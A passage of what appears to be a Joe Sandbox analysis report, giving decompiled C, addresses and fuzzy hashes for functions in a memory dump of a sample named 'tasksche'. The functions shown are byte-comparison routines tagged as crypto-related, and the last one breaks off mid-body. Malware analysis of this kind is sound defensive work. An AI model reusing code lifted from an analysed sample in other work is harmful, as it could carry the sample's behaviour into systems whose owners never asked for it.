							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0041bcd9
0x0041bcd9
0x0041bcdf
0x0041bd5f
0x0041bd61
0x0041bd63
0x00000000
0x00000000
0x0041bd69
0x0041bd6f
0x0041bdee
0x0041bdf0
0x0041bdf2
0x00000000
0x00000000
0x0041bdf8
0x0041bdfe
0x0041be7d
0x0041be7f
0x0041be81
0x00000000
0x00000000
0x0041be87
0x0041be8d
0x0041bf0c
0x0041bf0e
0x0041bf10
0x00000000
0x00000000
0x0041bf1c
0x0041bf9c
0x0041bf9e
0x0041bfa0
0x00000000
0x00000000
0x0041bfa6
0x0041bfac
0x0041c02b
0x0041c02d
0x0041c02f
0x00000000
0x00000000
0x0041c035
0x0041c03b
0x0041c0ba
0x0041c0bc
0x0041c0be
0x00000000
0x00000000
0x0041c0cc
0x0041c0ce
0x0041bcb1
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcc8
0x0041bcce
0x0041c0e7
0x0041c0e7
0x00000000
0x0041bcd4
0x00000000
0x0041bcd4
0x0041bcce
0x0041c0db
0x0041c0e1
0x00000000
0x00000000
0x00000000
0x0041c0e1
0x0041c044
0x0041c046
0x0041c05d
0x0041c065
0x0041c067
0x0041c07e
0x0041c086
0x0041c088
0x0041c09f
0x0041c0a7
0x0041c0a9
0x0041c0b6
0x0041c0b6
0x00000000
0x0041c0a9
0x0041c095
0x0041c099
0x00000000
0x00000000
0x00000000
0x0041c099
0x0041c074
0x0041c078
0x00000000
0x00000000
0x00000000
0x0041c078
0x0041c053
0x0041c057
0x00000000
0x00000000
0x00000000
0x0041c057
0x0041bfb5
0x0041bfb7
0x0041bfce
0x0041bfd6
0x0041bfd8
0x0041bfef
0x0041bff7
0x0041bff9
0x0041c010
0x0041c018
0x0041c01a
0x0041c027
0x0041c027
0x00000000
0x0041c01a
0x0041c006
0x0041c00a
0x00000000
0x00000000
0x00000000
0x0041c00a
0x0041bfe5
0x0041bfe9
0x00000000
0x00000000
0x00000000
0x0041bfe9
0x0041bfc4
0x0041bfc8
0x00000000
0x00000000
0x00000000
0x0041bfc8
0x0041bf26
0x0041bf28
0x0041bf3f
0x0041bf47
0x0041bf49
0x0041bf60
0x0041bf68
0x0041bf6a
0x0041bf81
0x0041bf89
0x0041bf8b
0x0041bf98
0x0041bf98
0x00000000
0x0041bf8b
0x0041bf77
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf56
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf35
0x0041bf39
0x00000000
0x00000000
0x00000000
0x0041bf39
0x0041be96
0x0041be98
0x0041beaf
0x0041beb7
0x0041beb9
0x0041bed0
0x0041bed8
0x0041beda
0x0041bef1
0x0041bef9
0x0041befb
0x0041bf08
0x0041bf08
0x00000000
0x0041befb
0x0041bee7
0x0041beeb
0x00000000
0x00000000
0x00000000
0x0041beeb
0x0041bec6
0x0041beca
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bea5
0x0041bea9
0x00000000
0x00000000
0x00000000
0x0041bea9
0x0041be07
0x0041be09
0x0041be20
0x0041be28
0x0041be2a
0x0041be41
0x0041be49
0x0041be4b
0x0041be62
0x0041be6a
0x0041be6c
0x0041be79
0x0041be79
0x00000000
0x0041be6c
0x0041be58
0x0041be5c
0x00000000
0x00000000
0x00000000
0x0041be5c
0x0041be37
0x0041be3b
0x00000000
0x00000000
0x00000000
0x0041be3b
0x0041be16
0x0041be1a
0x00000000
0x00000000
0x00000000
0x0041be1a
0x0041bd78
0x0041bd7a
0x0041bd91
0x0041bd99
0x0041bd9b
0x0041bdb2
0x0041bdba
0x0041bdbc
0x0041bdd3
0x0041bddb
0x0041bddd
0x0041bdea
0x0041bdea
0x00000000
0x0041bddd
0x0041bdc9
0x0041bdcd
0x00000000
0x00000000
0x00000000
0x0041bdcd
0x0041bda8
0x0041bdac
0x00000000
0x00000000
0x00000000
0x0041bdac
0x0041bd87
0x0041bd8b
0x00000000
0x00000000
0x00000000
0x0041bce1
0x0041bce1
0x0041bce5
0x0041bce9
0x0041bceb
0x0041bd02
0x0041bd02
0x0041bd06
0x0041bd0a
0x0041bd0c
0x0041bd23
0x0041bd23
0x0041bd27
0x0041bd2b
0x0041bd2d
0x0041bd44
0x0041bd44
0x0041bd48
0x0041bd4c
0x0041bd4e
0x0041bd54
0x0041bd57
0x0041bd5b
0x0041bd5b
0x00000000
0x0041bd4e
0x0041bd33
0x0041bd36
0x0041bd3a
0x0041bd3e
0x00000000
0x00000000
0x00000000
0x0041bd3e
0x0041bd12
0x0041bd15
0x0041bd19
0x0041bd1d
0x00000000
0x00000000
0x00000000
0x0041bd1d
0x0041bcf1
0x0041bcf4
0x0041bcf8
0x0041bcfc
0x00000000
0x00000000
0x00000000
0x0041bcfc
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: fa64fecedd4ee0fbc6ebc6d5fd45eff142ec883d8ec5514f9c97111b8272a84e
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 93D18E73C0E9B34A8735812D84582BBEE62AFD175031EC3E2DCE42F389D62B5D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B9 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B8B9(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0041b8b9
0x0041b8b9
0x0041b8bf
0x0041b93e
0x0041b940
0x0041b942
0x00000000
0x00000000
0x0041b948
0x0041b94e
0x0041b9cd
0x0041b9cf
0x0041b9d1
0x00000000
0x00000000
0x0041b9d7
0x0041b9dd
0x0041ba5c
0x0041ba5e
0x0041ba60
0x00000000
0x00000000
0x0041ba66
0x0041ba6c
0x0041baeb
0x0041baed
0x0041baef
0x00000000
0x00000000
0x0041baf5
0x0041bafb
0x0041bb7a
0x0041bb7c
0x0041bb7e
0x00000000
0x00000000
0x0041bb8a
0x0041bc0a
0x0041bc0c
0x0041bc0e
0x00000000
0x00000000
0x0041bc14
0x0041bc1a
0x0041bc99
0x0041bc9b
0x0041bc9d
0x00000000
0x00000000
0x0041bcab
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x00000000
0x0041b8a1
0x0041bcc8
0x0041bcce
0x0041c0e7
0x00000000
0x0041c0e7
0x00000000
0x0041bcd4
0x0041bc23
0x0041bc25
0x0041bc3c
0x0041bc44
0x0041bc46
0x0041bc5d
0x0041bc65
0x0041bc67
0x0041bc7e
0x0041bc86
0x0041bc88
0x0041bc95
0x0041bc95
0x00000000
0x0041bc88
0x0041bc74
0x0041bc78
0x00000000
0x00000000
0x00000000
0x0041bc78
0x0041bc53
0x0041bc57
0x00000000
0x00000000
0x00000000
0x0041bc57
0x0041bc32
0x0041bc36
0x00000000
0x00000000
0x00000000
0x0041bc36
0x0041bb94
0x0041bb96
0x0041bbad
0x0041bbb5
0x0041bbb7
0x0041bbce
0x0041bbd6
0x0041bbd8
0x0041bbef
0x0041bbf7
0x0041bbf9
0x0041bc06
0x0041bc06
0x00000000
0x0041bbf9
0x0041bbe5
0x0041bbe9
0x00000000
0x00000000
0x00000000
0x0041bbe9
0x0041bbc4
0x0041bbc8
0x00000000
0x00000000
0x00000000
0x0041bbc8
0x0041bba3
0x0041bba7
0x00000000
0x00000000
0x00000000
0x0041bba7
0x0041bb04
0x0041bb06
0x0041bb1d
0x0041bb25
0x0041bb27
0x0041bb3e
0x0041bb46
0x0041bb48
0x0041bb5f
0x0041bb67
0x0041bb69
0x0041bb76
0x0041bb76
0x00000000
0x0041bb69
0x0041bb55
0x0041bb59
0x00000000
0x00000000
0x00000000
0x0041bb59
0x0041bb34
0x0041bb38
0x00000000
0x00000000
0x00000000
0x0041bb38
0x0041bb13
0x0041bb17
0x00000000
0x00000000
0x00000000
0x0041bb17
0x0041ba75
0x0041ba77
0x0041ba8e
0x0041ba96
0x0041ba98
0x0041baaf
0x0041bab7
0x0041bab9
0x0041bad0
0x0041bad8
0x0041bada
0x0041bae7
0x0041bae7
0x00000000
0x0041bada
0x0041bac6
0x0041baca
0x00000000
0x00000000
0x00000000
0x0041baca
0x0041baa5
0x0041baa9
0x00000000
0x00000000
0x00000000
0x0041baa9
0x0041ba84
0x0041ba88
0x00000000
0x00000000
0x00000000
0x0041ba88
0x0041b9e6
0x0041b9e8
0x0041b9ff
0x0041ba07
0x0041ba09
0x0041ba20
0x0041ba28
0x0041ba2a
0x0041ba41
0x0041ba49
0x0041ba4b
0x0041ba58
0x0041ba58
0x00000000
0x0041ba4b
0x0041ba37
0x0041ba3b
0x00000000
0x00000000
0x00000000
0x0041ba3b
0x0041ba16
0x0041ba1a
0x00000000
0x00000000
0x00000000
0x0041ba1a
0x0041b9f5
0x0041b9f9
0x00000000
0x00000000
0x00000000
0x0041b9f9
0x0041b957
0x0041b959
0x0041b970
0x0041b978
0x0041b97a
0x0041b991
0x0041b999
0x0041b99b
0x0041b9b2
0x0041b9ba
0x0041b9bc
0x0041b9c9
0x0041b9c9
0x00000000
0x0041b9bc
0x0041b9a8
0x0041b9ac
0x00000000
0x00000000
0x00000000
0x0041b9ac
0x0041b987
0x0041b98b
0x00000000
0x00000000
0x00000000
0x0041b98b
0x0041b966
0x0041b96a
0x00000000
0x00000000
0x00000000
0x0041b8c1
0x0041b8c1
0x0041b8c4
0x0041b8c8
0x0041b8ca
0x0041b8e1
0x0041b8e1
0x0041b8e5
0x0041b8e9
0x0041b8eb
0x0041b902
0x0041b902
0x0041b906
0x0041b90a
0x0041b90c
0x0041b923
0x0041b923
0x0041b927
0x0041b92b
0x0041b92d
0x0041b933
0x0041b936
0x0041b93a
0x0041b93a
0x00000000
0x0041b92d
0x0041b912
0x0041b915
0x0041b919
0x0041b91d
0x00000000
0x00000000
0x00000000
0x0041b91d
0x0041b8f1
0x0041b8f4
0x0041b8f8
0x0041b8fc
0x00000000
0x00000000
0x00000000
0x0041b8fc
0x0041b8d0
0x0041b8d3
0x0041b8d7
0x0041b8db
0x00000000
0x00000000
0x00000000
0x0041b8db
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 1a9104bdc18b99a6bc3a57d880f0b00b8efb4b2948f4f82757f4a36a4691901f
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8DD18E73D1E9B30A8735812D80682ABEE62AFD175031EC3E2DCE42F389D72B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4AD Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B4AD(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
